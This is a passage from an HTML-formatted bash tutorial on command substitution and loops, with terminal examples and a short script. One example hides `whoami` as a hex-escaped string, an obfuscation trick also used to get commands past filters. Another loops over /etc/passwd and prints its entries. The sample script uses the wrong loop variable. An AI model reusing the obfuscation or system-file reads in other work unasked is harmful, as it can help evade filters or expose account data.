none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ var1=`whoami`</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ echo $var1</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">user</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">We can use multiple ways of achieving this, but with slightly different behavior:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ var1=`whoami`</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ echo $var1</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">user</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ var2=$(whoami)</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ echo $var2</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">user</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ echo $($'\x77\x68\x6F\x61\x6D\x69')</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">user</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ echo `ls`</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Try to understand differences between the following:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #333333; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> `ls`</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> $(ls)</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$(ls)</span><span style="background-color: #333333; color: #a2fca2; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"</span></span></p></td></tr></tbody></table></div><p><span style="font-family: Roboto Mono;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">Research the subject on your own. Google </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">bash command substitution</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">.</span></span></p><p><span style="font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><p><span style="font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Loops</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono"; font-size: 10pt; white-space: pre-wrap;">Loops are used when it is needed to perform identical actions multiple times on different values:</span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ mkdir test</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ cd test</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp/test</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ for var in `seq 1 5`; do </span><span style="background-color: transparent; color: yellow; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">touch file$var</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; done</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp/test</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ ls</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">file1 file2 file3 file4 file5</span></span></p></td></tr></tbody></table></div><p><span style="font-family: Roboto Mono;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">Let's execute </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">file</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> command on each reated fileX:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp/test</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ for i in `ls`; do </span><span style="background-color: transparent; color: yellow; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">file $i</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; done</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">file1: empty</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">file2: empty</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">file3: empty</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">file4: empty</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">file5: empty</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Another example with file input line-by-line, which counts line length in <span style="background-color: #eeeeee;">/etc/passwd</span> file:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ while read i; do </span><span style="background-color: transparent; color: yellow; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo $i; echo $i|wc -c</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">;done < /etc/passwd</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">root:x:0:0:root:/root:/bin/bash</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">32</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">48</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">bin:x:2:2:bin:/bin:/usr/sbin/nologin</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">...snip…</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">user:x:1000:1000::/home/user:/bin/bash</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">39</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">If you place these loops in script, consider to make it look pretty:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #333333; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #333333; color: #fc9b9b; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#!/bin/bash</span><span style="background-color: #333333; color: #fc9b9b; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">for</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> i </span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">in</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> `seq 1 5`</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">do</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> touch file</span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$var</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">done</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">while</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">read</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> i</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: #fcc28c; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">do</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ffffaa; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: #333333; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #333333; color: #ade5fc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; 